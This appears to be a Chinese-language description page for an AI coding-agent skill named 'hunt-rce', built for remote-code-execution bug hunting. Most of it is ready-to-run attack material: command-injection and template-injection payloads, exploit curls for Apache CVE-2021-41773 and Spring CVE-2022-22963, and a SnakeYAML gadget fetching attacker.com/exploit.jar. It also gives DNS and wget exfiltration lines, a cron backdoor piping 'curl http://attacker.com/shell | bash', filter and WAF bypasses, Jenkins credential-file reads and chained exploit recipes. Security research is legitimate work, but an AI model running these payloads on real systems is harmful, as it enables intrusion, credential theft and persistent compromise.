关于 hunt-rce
面向安全研究人员的远程代码执行(RCE)测试技能,涵盖命令注入、模板注入、反序列化及配置与基础设施攻击面。提供逐步排查和验证方法,并强调匹配请求内容类型及使用带外回调确认盲执行。
主要功能
- 01梳理输入到执行层的路径
- 02测试命令与模板注入
- 03检查 YAML、XML 和序列化输入
- 04排查依赖混淆及基础设施风险
- 05使用带外回调验证盲执行
适用场景
- 01测试管理控制台的配置字段
- 02验证命令注入并检查响应输出
- 03审查 Kubernetes 与 CI/CD 暴露面
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-rce安装后在 Claude Code 中输入/hunt-rce确认已加载。
详细介绍
自主测试优先级
Content-type 是命令注入最常见的隐性故障模式。
传统 Web 表单使用 Content-Type: application/x-www-form-urlencoded。如果向表单端点发送 JSON 请求体({"host":"127.0.0.1;id"}),服务器会读取 request.form['host'],但取不到任何内容——应用正常执行,没有发生注入,并返回看似合理的 200 响应。你会得到一个没有任何异常提示的假阴性结果。
规则: 如果页面包含 HTML 表单(<form method="POST">),请使用表单编码。如果路径为 /api/... 或响应为 JSON,请使用 JSON。
按常见程度排序的命令注入运算符:
value;id ← Unix semicolon (most common)
value|id ← pipe
value&&id ← AND
value$(id) ← subshell
value`id` ← backtick
证明: 响应正文中的操作系统命令输出(uid=N(username) gid=...)可确认代码执行。输出可能被 HTML 包装——这仍然算作证明。如果响应其他部分正常(200、符合预期的内容),但附带或嵌入了命令输出,则可确认利用成功。
关键目标
RCE 漏洞在漏洞赏金计划中能获得最高额的赏金,因为它们允许攻击者直接控制目标基础设施上的执行。价值最高的目标包括:
赏金最高的资产类型:
- 企业服务器产品(GitHub Enterprise Server、可自托管的 GitLab)——从低权限控制台角色到 root SSH 访问权限的提权链,通常会获得严重/高危级别的赏金
- 供应链/软件包注册表——针对 npm、PyPI 等的依赖混淆攻击,在每个主要计划中都达到严重级别
- 云原生基础设施——暴露的 Kubernetes API 服务器、入口控制器,以及配置错误的 CI/CD 管道
- 移动应用后端和 OAuth 流程——服务器端处理攻击者可控数据,并将其传入执行上下文
- 管理员/管理控制台——配置面板中的模板注入,只需一个载荷即可获得 root 权限
此类漏洞赏金最高的原因:
- 影响范围覆盖整个基础设施,而非仅限于用户
- 概念验证明确无误——Shell 输出是确凿证据
- 修复需要架构调整,而不只是打补丁
- 各计划无法承受 RCE 漏报
攻击面信号
URL 模式
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
响应头/技术栈信号
X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
JavaScript/前端信号
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution
技术栈信号
| 信号 | RCE 向量 |
|---|---|
配置界面中的 nomad | 模板注入 → {{ ... }} |
syslog-ng 配置可编辑 | 配置注入 → program() 目标 |
collectd 配置可编辑 | 插件执行注入 |
类路径中存在 SnakeYAML | !!javax.script.ScriptEngineManager [...] |
npm package.json 中的内部作用域 | 依赖混淆 |
| ingress-nginx 注解 | 路径字段正则表达式绕过 |
分步狩猎方法
-
先梳理执行上下文。 在测试载荷之前,找出用户可控输入会触及哪些执行层:模板引擎、Shell 命令、YAML 解析器、操作中使用的文件路径、包解析以及配置文件。
-
枚举管理/管理接口。 扫描
/management-console、/admin、/_internal、/setup、/config。这些入口的认证门槛较低、权限较高——GHES 集群中,仅通过一个控制台角色就发现了 6 个独立的 RCE 漏洞。 -
检查每个配置字段中的模板注入。 对于任何接受自由格式配置的管理 UI(日志目标、通知格式、代理设置),提交
{{7*7}}、${7*7}、<%= 7*7 %>。检查响应、日志或 DNS 回连中是否出现49。 -
测试 YAML/XML/序列化输入是否能执行代码。 对于任何接受
Content-Type: application/yaml或application/xml的端点:- SnakeYAML:提交
!!javax.script.ScriptEngineManagergadget - Ruby YAML:提交
!ruby/object:Gem::Installergadget - REXML:提交 billion-laughs / 二次膨胀 XML
- SnakeYAML:提交
-
搜寻依赖混淆。 对于 JS 包、错误消息或公共仓库中的
package.json所显示的每个 npm/pip/gem 内部包名,都在公共注册表上注册一个版本号更高的包,并使其指向 canary 回调。 -
检查文件路径操作是否存在路径遍历 → 执行。 ActiveStorage、文件上传处理程序、符号链接操作:将
../../../etc/cron.d/shell作为文件名提交。确认文件写入后触发执行。 -
审计 Kubernetes/云原生入口。 对任何暴露的 API server 运行
kubectl。检查 ingress 注解,尤其是nginx.ingress.kubernetes.io/configuration-snippet和spec.rules.http.paths.path中是否存在 Lua/正则表达式注入。 -
测试 OAuth 重定向 URI 和 URL scheme 处理程序。 通过 OAuth 重定向处理
javascript:或intent://URI 的移动应用可能会执行 JavaScript。尝试javascript:alert(document.cookie)和自定义 scheme URI。 -
通过带外回调验证。 绝不能只依赖可见输出。使用 Burp Collaborator、interactsh 或
canarytokens.orgDNS 令牌。后端处理器中盲 RCE 很常见。 -
串联权限。 低严重性错误配置(编辑者角色、CSRF、路径遍历)与 RCE 原语结合后,影响就可能达到严重级别。始终要问:“我从这里能触及什么?”
载荷与检测模式
模板注入探测
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Apache HTTP Server 别名路径遍历(CVE-2021-41773 / CVE-2021-42013)
Apache 2.4.49 中的路径规范化漏洞(以及 2.4.50 补丁绕过)允许攻击者通过点编码路径段逃逸 DocumentRoot,但前提是经过已配置的别名路径。同一原语在不同别名下会造成截然不同的影响,具体取决于哪个别名接受路径遍历:
- 未启用
Options +ExecCGI的别名(例如/icons/)→ 仅能任意读取文件 - 启用
Options +ExecCGI的别名(例如/cgi-bin/)→ 可任意执行代码
版本指纹:
curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched: Apache/2.4.51+
文件读取测试(任意别名):
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default
RCE 测试(仅限启用 CGI 的别名):
curl --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
分级处理注意事项:当同一路径遍历原语可用于多个别名,但只有一个别名启用了 CGI 时,严重性应按最高影响评定,而不是取平均值。在 /icons/ 上发现“文件读取”问题后,应始终通过 /cgi-bin/(以及服务器信息泄露或响应模式中 <Directory> 块显示的任何其他别名)重新探测并升级评估。请参阅 triage-validation Pre-Severity Gate。
Spring Cloud Function SpEL 注入(CVE-2022-22963)
Spring Cloud Function ≤ 3.2.2(以及 ≤ 3.1.6)会在 /functionRouter 端点上、任何路由逻辑执行前,将 spring.cloud.function.routing-expression 标头作为 SpEL 表达式求值,且不进行身份验证。该组件广泛部署于 AWS Lambda、Cloud Run 和本地函数平台。由于 /functionRouter 会自动注册,开发者又未添加明确的访问控制,因此它通常会暴露在外部。
检测:
- Spring 风格的 8080 端口上,
/uppercase、/lowercase或任意单词形式的函数端点会返回 200 - 使用
curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"确认 → 返回TEST - 通过
/actuator/info或响应标头查看版本信息
利用:
curl -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"
new String[]{"...", "..."} 数组形式可避免 shell 引号问题;当 SpEL 标头包含括号或引号时,这些问题会导致更常见的 .exec("id") 形式失效。
**适用范围:**任何将用户输入传入 SpelExpressionParser.parseExpression() 调用的 Spring 应用,尤其是通过标头/查询参数路由传入、从而绕过常规身份验证过滤器的情况。更广泛的 SpEL 指纹检测请参阅 hunt-ssti(*{7*7} = Spring Thymeleaf)。
SnakeYAML RCE Gadget
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/exploit.jar"]
]]
]
Ruby YAML / rdoc_options RCE
--- !ruby/object:Gem::Installer
i: x
依赖混淆检测
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
Ingress-nginx 路径注入
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
Kubernetes 暴露的 API 检查
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
带外 RCE 确认
# Payload to confirm blind RCE via DNS
curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
ActiveStorage 路径遍历 → RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
Args4j @ 前缀文件展开(Jenkins CVE-2024-23897 系列)
基于 args4j 库构建的 Java CLI 默认启用 expandAtFiles=true,会读取 @filename 参数所指向的文件,并将每一行作为单独的命令参数处理。当这类 CLI 通过 HTTP 暴露时(典型案例是 Jenkins CLI),服务器端错误消息会回显失败的参数,从而将参数回显变成任意文件读取原语。当启用“匿名读取访问”时(新安装的 Jenkins 默认启用),无需身份验证即可利用。
检测:
- 目标暴露了
/cli和/jnlpJars/jenkins-cli.jar(Jenkins 系列) - 或者:任意 Java 应用的 CLI 源代码使用了 args4j,且未设置
expandAtFiles=false
测试(Jenkins):
# Get the legit CLI jar from the target
curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back
# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ
确认 JENKINS_HOME 后的关键文件:
/var/jenkins_home/secret.key— 存储凭据的主加密密钥/var/jenkins_home/secrets/master.key— 用于派生加密密钥/var/jenkins_home/credentials.xml— 凭据存储(使用 secret.key 加密——可配合离线解密工具)/var/jenkins_home/users/*/config.xml— 各用户的 API 令牌(通常未加密)/var/jenkins_home/jobs/*/config.xml— 流水线配置,其中可能内嵌 AWS 密钥、SSH 密钥和镜像仓库令牌
**此模式也适用于 Jenkins 之外的场景。**任何符合以下条件的 Java 服务:
- 嵌入了 args4j(自 2010 年代以来,大多数企业 Java CLI 都符合)
- 通过 HTTP 暴露 CLI 处理程序(Jenkins、Hudson 分支或自定义内部工具)
- 将参数解析错误原样返回给客户端
→ 同样适用任意文件读取原语。通过 triage-validation 可复现性门槛进行验证:至少使用 2 个不同的命令(例如 help 和 connect-node)确认泄露,并核实文件内容确实出现在响应中,而不只是收到通用的 500 错误。
源代码审查的 Grep 模式
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .
# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .
# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .
常见根本原因
1. 配置即代码,但净化不足
管理员通过 Web UI 编辑配置文件(syslog-ng、collectd、nomad)。开发人员认为管理员就是可信的,因此直接将字段值传入支持执行原语(program() 目标、exec 插件、模板函数)的配置文件。
2. 在特权上下文中使用模板引擎
Go 的 text/template、Freemarker、Velocity 和 Twig 用于系统配置渲染。如果用户可控的字符串未经沙箱处理就传入这些引擎,便会导致任意代码执行。
3. 依赖混淆/命名空间抢注 内部软件包发布到私有注册表时,没有锁定公共注册表中的命名空间。构建系统默认优先使用公共注册表,或者在私有注册表中找不到软件包时回退到公共注册表。
4. 不安全地反序列化 YAML/XML
开发人员使用 YAML.load() 而不使用安全加载器,或使用 new Yaml()(SnakeYAML)但不限制类型。Ruby 的 YAML.load 和 Java 的 SnakeYAML 默认都支持任意对象实例化。
5. 文件操作链中的路径遍历
接受用户输入的文件名在文件系统操作中使用时,未进行规范化。Rails ActiveStorage、文件上传处理程序和 rdoc 生成器都信任 filename 参数。
6. 误以为低权限角色无法触及执行上下文 GHES 管理控制台授予了“编辑者”角色访问配置字段的权限,而这些字段会触发 Shell 执行。开发人员以为权限边界已在更高的架构层面得到保障。
7. 面向基础设施的字段缺少输入验证 Ingress/nginx 注解值、Kubernetes 规范字段和 webhook URL 都被视为不透明字符串,但下游处理器(nginx 配置生成器、正则表达式引擎)会将其解释为代码。
绕过技术
绕过:Shell 元字符过滤
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd # hex encoding
$(printf '\x63\x61\x74') /etc/passwd
# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'
绕过:URL scheme 允许列表(已阻止 javascript:)
# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1) # case variation
javascript:alert(1) # HTML entity
javascript:void(alert(1)) # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script>
绕过:YAML safe_load/类型限制
# If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: 'ldap://attacker.com/a'
autoCommit: true
# Or find allowlisted types with dangerous constructors
绕过:npm 作用域限制
# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first
绕过:路径遍历过滤器
# Basic filter bypass
../ → ..%2F → %2e%2e%2f → ....//
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg
绕过:输出过滤下的模板注入
# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
绕过:WAF 阻止 exec、system、popen
# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")
Gate 0 验证
撰写报告前,请确认以下三点:
1. 攻击者现在能做什么?
你必须能够演示以下任一操作:执行 id/whoami 并捕获输出;从目标服务器向你控制的主机发起 DNS/HTTP 回连;向文件系统写入文件;或读取 /etc/passwd。“可能可以”不符合此要求。
2. 受害者会失去什么? 明确说明具体影响:源代码外泄、凭据窃取(数据库、API 密钥、云 IAM)、向内部网络横向移动、下游用户遭遇供应链攻击、数据销毁。泛泛地说“攻击者获得了 RCE”不符合要求——要指出面临风险的核心资产。
3. 能否在 10 分钟内从头复现? 提交前先写出复现步骤。如果需要的不只是:(a) 一条 Burp 请求、(b) 一个 payload 文件和 (c) 一个监听器,就应简化步骤。如果复现需要特定的竞争条件、时机或短暂状态,请记录具体条件。无法一次复现的分流人员会降低报告评级,或关闭报告。
真实影响案例
场景 A:管理控制台编辑者 → Root Shell(企业服务器)
攻击者在一台 GitHub Enterprise Server 实例上持有权限较低的“管理控制台编辑者”账户,并发现 syslog-ng 配置界面接受自由格式的“目标”字段。攻击者注入包含反向 Shell 命令的 program() 目标,导致以 root 身份运行的 syslog-ng 守护进程在收到日志时执行任意操作系统命令。在同一攻击面上,还独立发现了 collectd 的 exec 插件配置和 nomad 作业模板渲染功能——这些功能都可通过同一编辑者角色访问。影响:完全攻陷托管组织所有源代码、机密和 CI/CD 工作流的企业 Git 服务器,获得 root 权限。
场景 B:依赖项混淆 → 构建基础设施上的 RCE
一位研究人员通过审查目标 CDN 端点提供的 JavaScript 捆绑文件,以及某大型支付平台所属的公开 GitHub 仓库,枚举了内部 npm 包名称。多个 @internal/* 作用域包被引用,但未在公共 npm 注册表中注册。研究人员发布了名称相同、版本号更高且包含 postinstall 脚本的包;该脚本会执行一次探测回调。数小时内,来自目标 CI/CD 构建集群多个 IP 地址的回调被触发,证实其构建基础设施上的每次 npm install 都会执行攻击者控制的代码。同样的技术也成功用于一家网约车平台的内部工具。影响:在可访问生产部署凭据和签名密钥的构建服务器上执行任意代码。
场景 C:Kubernetes API 暴露 → 接管集群
在侦察目标的云基础设施时,一位研究人员发现了一个可公开访问、RBAC 权限过于宽松的 Kubernetes API 服务器(端口 6443)。研究人员使用默认服务账户令牌和未经身份验证的 API 调用枚举了运行中的 Pod,从默认命名空间中获取机密(包括数据库凭据和第三方 API 密钥),并证明能够启动设置了 hostPID: true 的特权 Pod,从而完全攻陷节点。该 Kubernetes 集群管理着目标的核心生产服务。影响:访问所有已存储的机密、部署恶意工作负载,并横向移动至集群中的每项服务。
链条与组合(资深漏洞猎手)
2020—2026 年的 RCE 很少只涉及单个汇点。每一种现代 RCE 都由两部分组成:(1)一种原语,可将攻击者提供的字节写入主机或写入反序列化流程;(2)一个可解释这些字节的执行小工具。下方的链条将六种高收益 RCE 模式拆解为各自的原语组件——每一步都可以单独测试,真正带来收益的是完整链条。
链条 1 — SSRF + IMDSv1 + 泄露的 IAM 角色 → Lambda 调用 → 后端 RCE(Capital One 模式)
- A. 服务端获取器中的 SSRF(链接预览、图像代理、Webhook URL、PDF 生成器)。通过 Burp Collaborator 带外回调确认。
- B. 将 SSRF 指向 AWS IMDSv1 元数据:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>→ 返回临时 STS 凭据。 - C. 使用这些凭据运行
aws lambda invoke --function-name <internal-function>— Lambda 会运行服务端代码,攻击者可通过函数的输入参数影响该代码。 - 影响: 在 Lambda 上下文中实现完整的后端 RCE,并可横向移动至该角色授权访问的其他资源(S3 / DynamoDB / RDS)。
- 真实案例: Capital One 2019 — 民事罚款 8,000 万美元,攻击者被定罪。EC2 上 WAF 中的 SSRF → IMDSv1 → IAM 角色 → 通过 S3 同步导致 1.06 亿条记录泄露。交叉引用
hunt-ssrf已披露报告引用编号 #6。
链 2 — SQLi + COPY FROM PROGRAM → 在 Postgres 主机上直接实现操作系统级 RCE
- A. 已确认 Postgres 后端存在 SQLi(布尔型/基于时间的注入可行;无需 UNION)。
- B. 数据库用户具有
pg_read_server_files或COPY权限(许多 AWS RDS / Google Cloud SQL 角色在存在“admin”数据库时默认拥有此权限)。 - C. 拼接查询:
'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --→ Postgres 通过/bin/sh -c <attacker command>启动子进程 → 以postgres用户身份实现 RCE。 - 影响: 以数据库用户身份实现 RCE;在托管 Postgres 上,该用户通常具有 IAM 凭证,并可直接访问其他 AWS 资源。
- 实际案例特征: 2020-2024 年间,多个由 Postgres 支撑的 SaaS 应用在 H1 上披露了此类问题。交叉参考
hunt-sqli已披露报告引用 #12,以及有关FILE/xp_cmdshell权限的根因讨论。
链 3 — 图片上传 + 文件名中的路径遍历 + MIME 配置错误 → Webshell
- A. 文件上传接口接受图片(
image/png、image/jpeg)。服务器使用用户提供的文件名保存文件,或只验证 Content-Type,不验证实际内容。 - B. 上传带有正确图片魔数(
GIF89a后接 PHP 代码)的.aspx/.jsp/.php文件,并使用包含../的文件名,将文件写入上传目录之外的 Web 根目录(../../../public/webshell.php)。 - C. 请求
https://target/webshell.php?cmd=id— 即使扩展名策略禁止此操作,服务器的 PHP/ASP.NET 处理程序仍会执行脚本,因为该路径未经过上传目录过滤器。 - 影响: 未经身份验证或权限较低的攻击者可在应用服务器上获取 Webshell,并拥有 Web 服务器进程的权限。
- 实际案例特征: 多个已披露的 H1 案例涉及旧版上传处理程序;这是 2020 年之前常见的 RCE 类型。可结合
hunt-file-upload(上传绕过表)和hunt-misc路径遍历模式使用。
链 4 — 原型污染 + Lodash/Mongoose Gadget 链 → child_process.spawn → Node RCE
- A. 找出原型污染入口 — 接收攻击者 JSON 的 JSON 合并、Object.assign、lodash
_.merge或 NodeObject.create链。 - B. 将
Object.prototype.shell污染为true,或将Object.prototype.env.NODE_OPTIONS污染为--require ./malicious.js。被污染的原型会传递到下游的child_process.spawn或vm.runInThisContext。 - C. 入口使用攻击者控制的 shell/env 执行 → 攻击者代码在 Node.js 进程上下文中运行,可完全访问环境变量、AWS 元数据和内部服务。
- 影响: 通过 JSON POST 实现服务器端 JS 执行。在使用
body-parser+lodash.merge合并配置的 Express 应用中很常见。 - 实际案例特征:
lodash.mergeCVE-2018-16487、CVE-2019-10744、CVE-2020-8203;mongooseCVE-2024-53900(交叉参考hunt-sqli已披露报告引用 #10 — 同一 Gadget 家族可通过 Mongo$where而非进程实现攻击)。
利用链 5 — 未加密的 ViewState + 恢复的 MachineKey → ASP.NET 反序列化 → RCE(ToolShell 类)
- A. 找出一个
__VIEWSTATEENCRYPTED=""的 ASP.NET 端点(ViewState 已签名,但未加密)。通过 Burp / curl 检查带表单的页面并确认。 - B. 获取
<machineKey>validationKey——可通过配置泄露(/web.config可访问)、接管共享密钥的同级应用子域,或利用 CVE-2025-53771 ToolShell 利用链在 Subscription Edition 上窃取密钥。 - C. 使用
ysoserial.net --plugin=ViewState --validationkey=<key>和TypeConfuseDelegate/WindowsIdentity有效载荷伪造 ViewState。将其提交到该端点。ASP.NET 会将其反序列化为方法调用小工具链,最终调用Process.Start→ 以工作进程身份实现 RCE。 - 影响: 在 IIS Web 前端上获得完整 RCE,权限取决于 AppPool 身份所获授权——通常为
NETWORK SERVICE(可访问 SharePoint 场群账户)或更高权限。 - 真实案例: CVE-2025-53770 / 53771 ToolShell(2025 年 7 月紧急公告);SP2013 因已结束生命周期而未打补丁,存在暴露风险。交叉引用
hunt-sharepointToolShell 前置条件利用链,以及hunt-aspnetViewState 双解析器反模式。
利用链 6 — XXE + PHP expect:// 流包装器 → 旧版 PHP 上直接实现 RCE
- A. 通过 OOB DTD 回调确认 XXE(
<!ENTITY % x SYSTEM "http://attacker/dtd">)。 - B. 目标使用启用了
expect扩展的 PHP(2026 年已不常见,但旧主机和部分共享主机服务商仍在使用)。 - C. 发送
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>——PHP 的流包装器通过 expect 执行id→ 在实体展开时或通过 OOB 返回输出。 - 影响: 以 PHP / Web 服务器用户身份获得 RCE,无需单独的上传或 SQLi 原语。
- 真实案例: Rockstar Games 徽标编辑器 XXE H1 #347139(2018 年,$1,500);Adobe Commerce CosmicSting CVE-2024-34102(通过 XXE 窃取加密密钥 → RCE)。交叉引用
hunt-xxe已披露报告引用 #7 和 #10。
操作层面的模式
每条现代 RCE 利用链都分为两部分:字节抵达目标(SSRF、SQLi、上传、原型污染、ViewState、XXE),以及字节被解释执行(lambda 调用、COPY PROGRAM、WebShell 处理器、child_process.spawn、反序列化小工具、expect://)。寻找第一部分;第二部分通常是上述六种之一。如果你的第一部分原语无法与其中任何一种组合——提交前请暂停。“可能导致 RCE”属于 Low / Medium;“端到端演示了 RCE”则属于 Critical。
交叉引用:
hunt-ssrf— 利用链 1hunt-sqli— 利用链 2hunt-file-upload— 利用链 3hunt-api-misconfig(原型污染)— 利用链 4hunt-sharepoint+hunt-aspnet— 利用链 5hunt-xxe— 利用链 6
相关技能与利用链
hunt-ssti— 调用eval()/exec()/os.system()的模板引擎,会让 RCE 藏在渲染调用之后。利用链原语:Jinja2{{config.__class__.__init__.__globals__['os'].popen('id').read()}}在邮件模板预览中反射 → 以工作进程身份实现未授权 RCE。hunt-file-upload— 如果上传目录由 Web 提供服务、会被反序列化器处理,或被.htaccess/web.config加载,那么文件写入原语就会变成 RCE。利用链原语:SVG/PHP 多态文件绕过 MIME 检查 → 直接GET /uploads/shell.php?cmd=id→ RCE;或通过带有phar://流包装器的 DOCX → PHP 对象反序列化 → RCE。hunt-ssrf— 当 RCE 原语位于仅限内部访问的端点(管理控制台、内部 Redis、Jenkins 脚本控制台)时,可通过 SSRF 触发。利用链原语:外部 SSRF →http://127.0.0.1:8080/manage/scriptText(Jenkins/Tomcat)→ GroovyRuntime.exec→ RCE;或 SSRF →gopher://redis:6379写入 crontab → RCE。hunt-aspnet— ASP.NET ViewState 反序列化是一类影响巨大的 RCE 漏洞,位于已知的__VIEWSTATE参数之后。利用链原语:恢复 machineKey(或从web.config泄露中获取<machineKey>)→ysoserial.net -p ViewState -g TypeConfuseDelegate→ 以IIS APPPOOL\<name>身份实现 RCE。security-arsenal— 只要遇到接受序列化字节的接收点,就应使用反序列化载荷树(ysoserial Java gadget 链、用于 .NET ViewState/BinaryFormatter 的 ysoserial.net、Python pickle__reduce__、Ruby Marshal、PHPphar://元数据、Nodenode-serializeIIFE)。triage-validation— 在认定为 Critical 之前,应用严重性预判门槛。最终证实只能写入文件、没有执行路径的“盲 RCE”并不属于 RCE;无法访问os的沙箱化 eval,SSTI 最多只能评为 Medium。在撰写报告前,先通过带有唯一标记的whoami/OOB DNS 回调进行验证。